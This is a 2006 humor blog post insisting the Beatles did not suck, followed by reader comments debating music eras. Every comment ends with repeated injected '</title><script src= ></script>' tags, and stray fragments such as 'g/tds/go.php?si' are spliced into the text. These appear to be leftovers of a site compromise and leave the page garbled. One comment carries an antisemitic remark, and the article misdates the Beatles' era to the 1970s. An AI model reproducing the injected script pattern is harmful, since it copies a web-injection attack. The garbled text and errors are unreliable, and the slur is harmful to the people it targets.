Fun Infused Games  |   Evil Scale  |  |  |   Starcraft Live  |   Fun Pages  |   Your ad here. Twitter RSS 
Home  Archive  Search  Forum  Members  Subscribe  Links  About  Advertise
So, You Think The Beatles Sucked, Eh?
by Mark on 7/30/2006 (21)

Strawberry fields forever? Signs point to yes.
I was sitting quietly, nursing a Boca Java hazelnut latte like a frigiding Fed Ex driver on a hot overnight Christmas morning, when I overheard a bunch of teens talking about music.

At some point the Beatles came up, and several of them sharply exclaimed "The Beatles suck! I can't stand that crap!"

I stirred my cuppa Joe mistily, mulling over the fresh aroma of roasted bean goodness, Abbey Road, and the effect of the White Album on Man, God and the Universe, when I couldn't contain myself any longer.

"The Beatles didn't suck"

I blurted, being careful to measure my vocal tone and intensity

One Dorkus Americanus looked up quizzically


I took a long thoughtful sip, and paused for dramatic effect like Neo in the last scene of The Matrix part 2.

"I said, the Beatles didn't suck. They defined the times they lived in. Saying the Beatles sucked is like me saying to you that Mariah Carey sucks, or JZ, or Weezer, or Kelly Clarkson sucks."

And that is the truth of it. The reality is, music is an inextractible part and product of the times it is embedded in. Just as Scott Joplin defined the 1920's, and Glen Miller the 1940's, the Beatles defined the 1970's. Music is both cause and effect. Musicians both write songs about events that are happening around them, i.e., war, trends, technology, and in turn also contribute to social change by becoming the voice and anthem of a new generation. Every generation is different. Music is self sustaining that way. Musical instruments change, and become more complex and evolved. Scott Joplin was unplugged. He had no other choice. Glen Miller didn't have any electric guitars in his band. That would come 10 years later with Les Paul. The Beatles couldn't start their own web page and offer sample downloads like bands do today.

Each one of us in stuck in time like a fly in amber. We cannot escape. We are held hostage to the events that occur in the same time frame in the world around us. In order to truly understand The Beatles, one had to be alive in the 1970's. Same with any point in mankinds history. You can dig up artifacts from ancient Rome, but you cannot possibly get the true, real feel of what it was like to be an ancient Roman.

Feeling flushed with victory, not to mention a heady dose of caffeine, I crushed my empty styro cup like a Vegas handle man.

"Hey mister?"


"We think you suck now too."

I looked up and smiled softly. Now that I can deal with.g/tds/go.php?si

page has been viewed 12769 times


1. by Lauderdale on 3/1/2007 4:52:29 PM
Mariah Carey, JZ, and Kelly Clarkson all suck BIG TIME! (So do the Beatles) </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
2. by waldo on 3/1/2007 4:52:29 PM
the beatles broke up in 1970,,,i think they defines the 60s grandpas </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
3. by Motz, author on 3/1/2007 4:52:29 PM
I'm not old enough to remember the 60's, so they influenced the 70's, at least for me. So there. sr </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
4. by Timmy on 3/1/2007 4:52:29 PM
i was there,yeah they did,no they don't and yes you do.?sid= </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
5. by Nash on 3/1/2007 4:52:29 PM
So by that reasoning Motz, since I grew up in the 80's and 90's, I guess they influenced the 80's and 90's, well actually they did. :) But what the original writer was saying was "defined". Well, to him I guess they could have defined the 70's but more importantly the 60's. He later says "to truly understand the Beatles, one had to be alive in the 1970's." That is totally innacurate, IMO. I think that you would have to have been alive in the 60's, and a teenager, at that time, for that matter.uil </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
6. by Kris on 3/1/2007 4:52:29 PM
Wait... Mariah Carrey doesn't suck?!? </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
7. by Motz on 3/1/2007 4:52:29 PM
The Beatles inlfuenced the 70's, 80's and beyond, even though theyr were a 60's band primarily. Their influence is felt even today. The point of the article is, however, that you had to be immersed in the popular culture of the time to understand why a band was popular. This goes back to the days of Beethoven, Mozart, and beyond. You had to be there. </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
8. by Cap on 3/1/2007 4:52:29 PM
Isn't that article "borrowed" from Looks very familiar...uildi </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
9. by Mark Motz, author on 3/1/2007 4:52:29 PM
I wrote this about 6 months ago, and originally posted it on my own site,, and my media contact site, You may have seen it there. 100 percent original, 100 percent mine. Thanks for reading. Mark Motz, author"0"< </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
10. by Bear on 3/1/2007 4:52:29 PM
I am a grandpa so I don't take that as a derogratary remark, but I have to add my 2 cents worth. Not only do the Beatles suck, but they single handedly killed Rock n Roll. Before Elvis, Jerry Lee, Buddy, Little Richard, Chuck Berry, etc we just had pop music, with the likes of Rosemary Clooney and Doris Day. Then rock n roll came along and livened the world up. Then the Beatles re-invented cloying pop music, and rock n roll became so filtered down it lost it's way. Of course then we had Rock, Heavy Metal, Country Rock, Psychadelic Rock, etc, etc. But good ole straight down rock n roll kinda dissapeared.n </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
11. by Oat on 3/1/2007 4:52:29 PM
Who the hell is Jay Pinkerton? Sounds Jewish.h=" </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
12. by Bruce Garrett on 3/1/2007 4:52:29 PM
The Beatles were approximately 1963 to 1973 and they were the Best thing since Elvis. Living in that era was like watching Magic. Theres always a lot of talk about how good the 50s were, but the 60s was much better (except for Vietnam)"0" style= </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
13. by Liz on 3/1/2007 4:52:29 PM
Nope, the Beatles don't suck, at least not in general. There are songs I can't stand (mainly the early ones) but there are also lots and lots of songs which are just pure fun or pure genius. And by the way, I was born in 1983 - so the Beatles are definitely no grandpas-only-band ;-)n. </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
14. by T-10 on 3/1/2007 4:52:29 PM
If you had to wear the same shirt everyday for the rest of your life, would that suck? That's how music has been for the last 20 years. A highly polished, cookie cutter mold production that has been regurgitated down comsumers throats to where everything now tastes (sounds) the same. For those who are snickering at this point, go take a look at your CD collections. Notice how it resembles the product of what is given through a drive-thru window?!?! The Beatles killed rock and roll? Rock and roll killed itself by 1959. Berry and the Mann Act, Jerry Lee and his cousin, Buddy and the plane crash, Elvis and the Army.... For the next few years afterwards it was all the 'Bobbys' that almost finished rock and roll forever. Whether someone apprecitiates The Beatles or not is one thing. Saying, "The Beatles suck" is identical to saying, "The invention of penicillin sucks!" Understanding who The Beatles were and what they contibuted to man kind is not only an art but also a science. If none of this makes any sense whatsoever, you truly are a Dorkus Americanus.isplay: </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
15. by Bruce Garrett on 3/1/2007 4:52:29 PM
The Beatles were approximately 1963 to 1973 and they were the Best thing since Elvis. Living in that era was like watching Magic. Theres always a lot of talk about how good the 50s were, but the 60s was much better (except for Vietnam)"0" style= </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
16. by Nash on 3/1/2007 4:52:29 PM
Bruce, what do you mean when you say "The Beatles were approximately 1963 to 1973"? I mean, I could be exact, to the year, not to the day :), as to when the Beatles were together as a band called the Beatles (1960-1970). I could also say that the Beatles, meaning John Lennon, Paul McCartney, George Harrison, and Ringo Starr, were together as a band from 1962-1970, but then again, in a sense, from 1994-1996, even though one was dead, they did use John's demo recordings to record a couple "new" songs. I could also finally say that the core of the group of John and Paul were together from 1957-1970, especially considering when they first met and when Paul shortly later agreed to be in John's band the Quarrymen in 1957. But I think what you're referring to when you use the years "approximately 1963 to 1973" is the era of the 60's, but not the exact decade. A lot of times people say 60's and what they really mean is more the second half of the decade and even the early 70's. Also, what I think you're getting at is some of the vibe that each solo Beatle's music had in the timeframe after the breakup, 1970-73 or even </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
17. by Jim Beard on 3/1/2007 4:52:29 PM
I'm older than dirt and I want to agree with everybody. I'll try... Classical music was defined by its time; to listen to it you had to have a live concert. The 10-inch 78 rpm record made pop music possible by offering singles at affordable prices. The very inexpensive (99 cents!) 45 rpm single and player in the 1950's morphed pop music from Patti Page to Herb Alpert (who with Jerry Moss founded A&M records...) and gave a voice to the small-time guys, giving everyone a chance. The result was the emergence of Chuck Berry, Bo Diddley, Jerry Lee Lewis, Buddy Holley, The Everly Brothers, and one-hit wonders like The Big Bopper and Cheb Wooley... and Elvis Presley and Pat Boone. Diving prices for transistor stereos, low-cost speakers and stereo brought 33 1/3 rpm "long playing" or LP albums to pop music and album gradually replaced 45's in the late 1950's and early 1960's. This meant that you must have 12 songs, not one or two, to have a release. The most successful artist released both singles and LPs, but the LP age, and its requirement that you have a lot of songs ready before you could release a record, moved pop music back toward the big guys and away from the masses, and thinned the ranks. Also, there was a cultural resistance to rock-and-roll in the 1950's. Chuck Berry was jailed; Allan Freed was convicted of payola, etc. The top tune in 1963 was Dominique by The Singing Nun, edging out "Louie, Louie" by The Kingsmen – which the FBI tried to decipher to prove that it's release was illegal. Then, May 1964 saw "Love Me Do" hit Number 1. Bubble gum? Sure, but most 1964 high-selling music was bubble gum. "Please Please Me," their first album which appeared in 1964 had some meat in it. The Rolling Stones and Bob Dylan were mountainous figures that get their first mention here in this thread. The Moody Blues, the Who, Pink Floyd, Led Zeppelin and the inimitable Robert Plant, and others exemplified the British contribution to the 1960's and 1970's. Then there was the folk-music scare of the 1970's. Popular folk music appeared as an offshoot of some of the ballads of Joan Baez and others, and its pretensions of being exhumed history gave it a false freshness. There are only so many true folk songs that can have popular appeal and all of them could fit on one CD, and nearly all of them were written as pop tunes with a slick folk motif. That crap almost caught on. The CD caused another paradigm shift because it essentially eliminated the commercial significance of the single and meant that albums must last at least an hour, compared to the LP's typical half-hour and 12 songs for both sides combined. This moved pop music even farther from the grass roots and leaves us with many niches such as progressive country, alternative rock, etc. and superstars like Elton John. None of them suck when they are at their best. All of them have some material that sucks to some people. All of the eras are in large part technology and economics driven, and all have their stars. We should be grateful for all of it. </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
18. by George on 3/1/2007 4:52:29 PM
Damnit Motz... The Beatles don't suck for their time now either. Mariah Carrey will always suck. Maybe there are some people out there who enjoy her sex appeal and cultural image but the Beatles, and your other comparisons including Mozart and Beethoven, had more than sex appeal. Their music is still excellent to this day. I mean, the grandpa in here could argue that their highly influential music hurt the industry, or one could argue that since it was so influential it probably had something going for it. Teenagers who say that the Beatles suck clearly don't know what they're talking about. More often then not they've never bothered to listen to the Beatles. Mariah Carrey is not super-music that beats Mozart and the Beatles just because she's supported by the media. I spoke to a kid my age who said the Beatles suck. I asked why. He said "because, like, they wear suits and shit." Sound </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
19. by Motz on 3/1/2007 4:52:29 PM
Yeah, yeah, I know. I'm listening to "She Said, She Said" for the 28 time in a row. Lemme alone. sr </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
20. by beatles suck ass on 10/27/2009 11:27:45 AM
they defined their generation that's it, they have no influence on me as far as i can see?t </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
21. by JohnLennon on 2/18/2010 9:33:02 AM
Suck my dick, JayZ is a beast and Maria Carrey got swaggar. "If you don't like my music then press fast forward"one"></ </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>

What animal is this a picture of?

x Enter the simple name for this animal... i.e., if you see a "north american grizzly bear", just enter "bear".
Surround you text with the following tags to use special formatting:
[B][/B] for Bold text.
[I][/I] for Italic text.
[QUOTE][/QUOTE] for a quote.

For example, in order to write "Smthop rules" in bold, you would enter: [B]Smthop rules[/B].




More referrals |  Add Site

Business   Editorials   Education   Entertainment   Feature   Food   Health   Law   Politics   Religeon   Site News   Space   Sports   Tech   US News   Video Games   World News  


Copyright 2010 Smooth Operator.
Website Design by SteeleITS - Privacy Policy